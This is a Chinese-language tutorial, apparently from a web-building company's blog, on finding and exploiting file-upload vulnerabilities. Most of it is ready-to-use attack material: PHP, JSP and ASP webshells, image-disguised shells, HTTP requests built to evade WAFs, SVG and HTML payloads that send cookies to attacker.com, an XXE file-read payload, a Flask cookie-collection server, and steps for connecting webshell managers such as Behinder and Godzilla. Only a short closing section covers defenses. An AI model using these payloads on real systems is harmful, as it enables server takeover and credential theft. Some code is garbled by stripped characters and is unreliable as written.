ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

文件上传漏洞挖掘教程:从原理到实战

2026/8/27 8:28:54 拓冰建站 浏览量
文件上传漏洞挖掘教程:从原理到实战 摘要文件上传漏洞源于服务器对上传文件校验不严攻击者可借此上传 WebShell 获取服务器控制权。本文从漏洞成因与危害讲起系统梳理信息收集与常规测试流程详解后缀绕过、内容校验绕过、解析漏洞及 WAF 绕过等技巧汇总常用 Payload 与实战案例并给出自动化工具与防御建议帮助读者快速建立文件上传漏洞的完整认知。目录1. 引言2. 漏洞成因与危害3. 漏洞挖掘思路4. 常见绕过技巧5. 常用 Payload 汇总6. 实战案例7. 自动化工具辅助8. 修复与防御建议9. 总结1. 引言文件上传功能是 Web 应用中最常见也最危险的功能之一。无论是头像上传、附件发送还是文档导入只要开发者对上传文件的校验不够严谨攻击者就可能上传恶意文件进而获取服务器权限、窃取数据甚至控制整个业务系统。本教程将从文件上传漏洞的成因讲起逐步深入到漏洞挖掘的思路、绕过技巧与实战案例帮助安全测试人员和开发者在实战中快速发现并修复这类高危漏洞。2. 漏洞成因与危害2.1 漏洞成因文件上传漏洞的本质是服务器对用户上传的文件缺乏足够的安全校验。常见的缺陷包括仅校验文件后缀未校验文件内容仅校验 Content-Type而 Content-Type 可被客户端任意伪造未限制上传文件的大小与数量上传目录具备脚本执行权限文件名处理不当导致路径穿越或覆盖未对上传文件进行重命名或隔离存储。2.2 漏洞危害一旦文件上传漏洞被利用攻击者可能实现上传 WebShell获取服务器控制权上传恶意 HTML/JS实施存储型 XSS上传恶意文件如 .svg、.xml触发 SSRF 或 XXE覆盖服务器关键文件导致业务瘫痪利用解析漏洞使图片马被当作脚本执行。3. 漏洞挖掘思路3.1 信息收集在测试文件上传功能前先完成以下信息收集确认上传点位置头像、附件、导入、编辑器等识别后端语言与中间件Java、PHP、Nginx、Apache 等观察上传后的文件访问路径与 URL 规则判断是否存在 CDN 或对象存储OSS/S3这会改变利用方式。3.2 常规测试流程一个标准的上传漏洞测试流程如下上传一个正常文件观察返回与存储路径修改文件名后缀为常见脚本类型.jsp、.php、.asp、.aspx修改 Content-Type 为image/jpeg等合法值尝试双写后缀、大小写混淆、空格与点号截断上传图片马图片内容 脚本代码访问上传文件确认是否被解析执行若被拦截分析 WAF 规则并尝试绕过。4. 常见绕过技巧4.1 后缀绕过绕过方式示例适用场景大小写混淆.PhP、.JSP后端仅做字符串匹配双写后缀.pphphp后端只替换一次空格与点号.php、.php.Windows 与部分中间件特殊字符.php%00.jpg老版本中间件截断可解析后缀.php5、.phtml、.jspx中间件解析配置4.2 内容校验绕过当后端校验文件头Magic Number时可在脚本前拼接合法图片头GIF89a ?php eval($_POST[cmd]); ?将上述内容保存为shell.gif再配合解析漏洞或文件包含漏洞触发执行。4.3 解析漏洞利用4.4 WAF 绕过技巧当目标站点部署了 WAFWeb 应用防火墙时常规的上传 payload 往往会被拦截。理解 WAF 的检测规则并针对性地构造请求是绕过防护的关键。常见 WAF 检测规则后缀黑名单拦截.php、.jsp、.asp等脚本后缀通常基于正则匹配filename字段内容特征码扫描文件内容中的危险关键字如?php、eval(、assert、script等请求体大小对超大请求体直接拒绝或对 multipart 分段的长度做严格限制Content-Type 校验要求Content-Type必须为合法图片类型否则拒绝请求频率与来源对同一 IP 的异常上传频率进行封禁。绕过方法一multipart 参数污染部分 WAF 只解析第一个filename字段而后端框架如某些 PHP/Java 解析器取最后一个filename。通过重复声明filename可让 WAF 看到合法后缀、后端看到恶意后缀。POST /upload/avatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameavatar.jpg Content-Type: image/jpeg ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg ?php eval($_POST[cmd]); ? ------WebKitFormBoundary7MA4YWxkTrZu0gW--绕过方法二filename 混淆编码对filename中的后缀做 URL 编码或 Unicode 规范化使 WAF 的正则匹配失效而后端在解码后仍能识别为脚本文件。POST /upload/avatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.p%68p Content-Type: image/jpeg ?php eval($_POST[cmd]); ? ------WebKitFormBoundary7MA4YWxkTrZu0gW--POST /upload/avatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg ------WebKitFormBoundary7MA4YWxkTrZu0gW--绕过方法三分块传输绕大小限制当 WAF 对请求体大小设限时可使用Transfer-Encoding: chunked将恶意内容拆分为多个小块发送绕过基于 Content-Length 的检测。POST /upload/avatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW Transfer-Encoding: chunked 1e ------WebKitFormBoundary7MA4YWxkTrZu0gW 1e Content-Disposition: form-data; namefile; filenameshell.php 1e Content-Type: image/jpeg 1e 1e ?php eval($_POST[cmd]); ? 1e 1e ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 0Apache 多后缀解析shell.php.jpg在特定配置下按 PHP 解析Nginx 解析漏洞shell.jpg/.php或shell.jpg%00.phpIIS 分号截断shell.asp;.jpg。5. 常用 Payload 汇总5.1 PHP 一句话木马?phpeval($_POST[cmd]);??phpassert($_POST[cmd]);??phpsystem($_GET[cmd]);?5.2 JSP 一句话木马% if(request.getParameter(cmd)!null){ java.io.InputStream inRuntime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a-1; byte[] bnew byte[2048]; while((ain.read(b))!-1){ out.println(new String(b,0,a)); } } %5.3 ASP / ASPX 一句话木马%eval request(cmd)%% Page LanguageC# % % if (Request[cmd] ! null) { System.Diagnostics.Process p new System.Diagnostics.Process(); p.StartInfo.FileName cmd.exe; p.StartInfo.Arguments /c Request[cmd]; p.StartInfo.UseShellExecute false; p.StartInfo.RedirectStandardOutput true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); } %5.4 图片马GIF / JPG / PNGGIF89a ?php eval($_POST[cmd]); ?\xFF\xD8\xFF\xE0 ?php eval($_POST[cmd]); ?\x89PNG\r\n\x1a\n ?php eval($_POST[cmd]); ?5.5 恶意 SVG存储型 XSSsvgxmlnshttp://www.w3.org/2000/svgonloadalert(document.cookie)/svgsvgxmlnshttp://www.w3.org/2000/svgscriptfetch(http://attacker.com/steal?cdocument.cookie)/script/svg5.6 恶意 XMLXXE?xml version1.0 encodingUTF-8?!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///etc/passwd]fooxxe;/foo5.7 恶意 HTML存储型 XSSscriptnewImage().srchttp://attacker.com/steal?cdocument.cookie;/script5.8 后缀绕过 Payload 速查shell.php shell.php5 shell.phtml shell.pht shell.php.jpg shell.php%00.jpg shell.php. shell.php shell.PhP shell.pphphp shell.asp;.jpg shell.jpg/.php shell.jpg%00.php5. 实战案例5.1 案例一头像上传 Getshell某系统头像上传接口仅校验 Content-Type抓包修改为image/jpeg并上传avatar.jsp访问上传路径后成功执行命令。利用代码JSP WebShell%! // 简易 JSP WebShell仅用于授权测试 public static String run(String cmd) throws Exception { Process p Runtime.getRuntime().exec(cmd); java.io.BufferedReader br new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream())); StringBuilder sb new StringBuilder(); String line; while ((line br.readLine()) ! null) { sb.append(line).append(\n); } return sb.toString(); } % % String cmd request.getParameter(cmd); if (cmd ! null) { out.println(pre run(cmd) /pre); } %Burp Suite 抓包修改示例POST /upload/avatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameavatar.jsp Content-Type: image/jpeg %-- 此处粘贴上面的 JSP WebShell 代码 --% ------WebKitFormBoundary7MA4YWxkTrZu0gW--上传成功后访问http://target.com/uploads/avatar.jsp?cmdid即可执行命令。5.2 案例二图片马 文件包含目标站点存在本地文件包含漏洞攻击者上传包含 PHP 代码的图片马再通过包含参数触发执行绕过上传目录的脚本执行限制。生成图片马Python 脚本#!/usr/bin/env python3# 生成图片马在合法 GIF 文件末尾追加 PHP 代码# 用法python3 make_shell.py shell.gifimportsysdefmake_image_shell(outputshell.gif):# 合法 GIF 文件头Magic Numbergif_headerbGIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;# 追加的 PHP 代码php_codeb?php eval($_POST[cmd]); ?withopen(output,wb)asf:f.write(gif_headerphp_code)print(f[] 图片马已生成:{output})if__name____main__:make_image_shell()文件包含触发请求GET /index.php?pageuploads/shell.gifcmdsystem(id);PHP 文件包含漏洞示例存在漏洞的代码?php// 存在漏洞的代码未过滤用户输入直接包含文件$page$_GET[page];include($page);// 危险可包含任意文件?当shell.gif被包含时其中的 PHP 代码会被执行从而绕过上传目录的脚本执行限制。5.3 案例三SVG 存储型 XSS某论坛允许上传 SVG 头像攻击者构造恶意 SVG 文件在管理员查看时执行 JavaScript窃取管理员 Cookie。恶意 SVG 文件shell.svgsvgxmlnshttp://www.w3.org/2000/svgxmlns:xlinkhttp://www.w3.org/1999/xlink!-- 方式一onload 事件触发 --svgonloadfetch(http://attacker.com/steal?cdocument.cookie)/svg!-- 方式二script 标签部分浏览器支持 --scriptvarimgnewImage();img.srchttp://attacker.com/steal?cencodeURIComponent(document.cookie);document.body.appendChild(img);/script/svg攻击者服务器接收 CookiePython FlaskfromflaskimportFlask,request appFlask(__name__)app.route(/steal)defsteal():cookierequest.args.get(c,)withopen(stolen_cookies.txt,a)asf:f.write(cookie\n)print(f[] 窃取到 Cookie:{cookie})returnokif__name____main__:app.run(host0.0.0.0,port80)当管理员访问包含恶意 SVG 的页面时浏览器会执行其中的 JavaScript将管理员 Cookie 发送到攻击者服务器。5.4 案例四Nginx 解析漏洞利用某站点使用 Nginx PHP-FPM 架构存在经典的shell.jpg/.php解析漏洞攻击者上传图片马后通过构造 URL 触发 PHP 执行。上传图片马shell.jpgGIF89a ?php eval($_POST[cmd]); ?触发解析漏洞的请求GET /uploads/shell.jpg/.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmdsystem(whoami);Nginx 存在漏洞的配置示意location ~ \.php$ { # 危险配置未校验实际文件类型直接交给 PHP-FPM 解析 fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }当请求/uploads/shell.jpg/.php时Nginx 将路径交给 PHP-FPMPHP-FPM 会向前回溯找到shell.jpg并按 PHP 解析从而执行其中的恶意代码。6. 自动化工具辅助在实战中可借助以下工具提升效率Burp Suite抓包改包、Intruder 爆破后缀与 Content-Typesqlmap辅助检测上传点关联的 SQL 注入蚁剑 / 冰蝎 / 哥斯拉连接 WebShell 进行后续渗透fuzzdb / SecLists提供丰富的恶意文件后缀与内容字典。6.1 蚁剑AntSword蚁剑是一款开源的跨平台 WebShell 管理工具支持 PHP / JSP / ASP / ASPX 等多种脚本类型界面友好、插件丰富是连接 WebShell 最常用的工具之一。连接步骤打开蚁剑右键空白处选择「添加数据」填写 URL 地址如http://target.com/uploads/shell.php填写连接密码对应一句话木马中的$_POST[cmd]选择编码器默认即可必要时可切换为 base64 或 chr 编码绕过流量检测点击「测试连接」成功后双击进入虚拟终端。连接配置示例URL: http://target.com/uploads/shell.php 密码: cmd 编码器: default / base64 / chr 连接类型: PHP一句话木马配合示例?phpeval($_POST[cmd]);?6.2 冰蝎Behinder冰蝎是一款基于动态二进制加密的 WebShell 管理工具流量经过 AES 加密能有效绕过流量检测设备适合在 WAF 或 IDS 环境下使用。连接步骤将冰蝎服务端shell.php/shell.jsp/shell.aspx上传到目标服务器打开冰蝎客户端右键添加目标填写 URL 与连接密码选择对应脚本类型PHP / JSP / ASPX点击「连接」成功后进入文件管理与命令执行界面。连接配置示例URL: http://target.com/uploads/shell.php 密码: rebeyond 脚本类型: PHP 加密方式: AES自动协商冰蝎 PHP 服务端示例简化?phpsession_start();$keye45e329feb5d925b;$_SESSION[k]$key;$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post);for($i0;$istrlen($post);$i){$post[$i]$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,AES128,$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];classC{publicfunction__invoke($p){eval($p.);}}call_user_func(newC(),$params);?6.3 哥斯拉Godzilla哥斯拉是一款支持多种加密方式的 WebShell 管理工具支持 PHP / JSP / ASPX / C# 等脚本内置多种 Payload 生成器与流量加密方案功能全面。连接步骤使用哥斯拉的「生成」功能选择脚本类型并设置密码与密钥将生成的 WebShell 文件上传到目标服务器在哥斯拉主界面右键「添加」目标填写 URL、密码、密钥与脚本类型点击「测试」成功后即可进入管理界面。连接配置示例URL: http://target.com/uploads/shell.jsp 密码: pass 密钥: key自定义 脚本类型: JSP 加密方式: AES / XOR / 动态哥斯拉 JSP 服务端示例简化%! String k e45e329feb5d925b; String md5(String s) { try { java.security.MessageDigest md java.security.MessageDigest.getInstance(MD5); byte[] bytes md.digest(s.getBytes(UTF-8)); StringBuilder sb new StringBuilder(); for (byte b : bytes) sb.append(String.format(%02x, b)); return sb.toString(); } catch (Exception e) { return ; } } % % String pass request.getParameter(pass); if (pass ! null md5(pass).substring(0, 6).equals(md5(k).substring(0, 6))) { // 解密请求体并执行 String data request.getReader().readLine(); // 此处为简化示例实际为 AES 解密后 eval out.println(ok); } %6.4 中国菜刀Chopper中国菜刀是经典的 WebShell 管理工具虽然已停止维护但在老系统中仍有大量使用场景。支持 PHP / ASP / ASPX 等脚本界面简洁、操作直接。连接步骤打开菜刀右键添加 Shell填写 URL 与连接密码选择脚本类型双击进入文件管理与虚拟终端。连接配置示例URL: http://target.com/uploads/shell.asp 密码: cmd 脚本类型: ASPASP 一句话木马配合示例%eval request(cmd)%6.5 工具选型建议工具适用场景流量特征推荐程度蚁剑常规渗透测试、快速连接明文 / 可自定义编码★★★★★冰蝎有 WAF / IDS 的环境AES 动态加密★★★★★哥斯拉复杂环境、多脚本支持多种加密可选★★★★☆中国菜刀老系统、快速验证明文、特征明显★★★☆☆提示以上工具仅用于授权测试。连接 WebShell 后应尽快确认权限边界、清理上传的测试文件避免对目标系统造成持久化影响。7. 修复与防御建议使用白名单校验文件后缀与 MIME 类型对上传文件重命名为随机字符串并去除原后缀上传目录禁止脚本执行Nginx 配置location关闭 PHP 解析校验文件内容Magic Number与文件大小将文件存储到独立域名或对象存储与 Web 服务隔离对上传文件做病毒扫描与内容安全检测记录完整的上传日志便于溯源。8. 总结文件上传漏洞的挖掘核心在于理解后端校验逻辑与中间件解析特性。测试时不要只盯着后缀要结合 Content-Type、文件内容、解析配置、包含漏洞等多维度组合利用。防御端则应坚持白名单、重命名、隔离存储与禁用执行权限的原则从根源上阻断攻击链。希望本教程能帮助你建立文件上传漏洞的系统性认知在授权测试中高效发现并利用这类高危漏洞。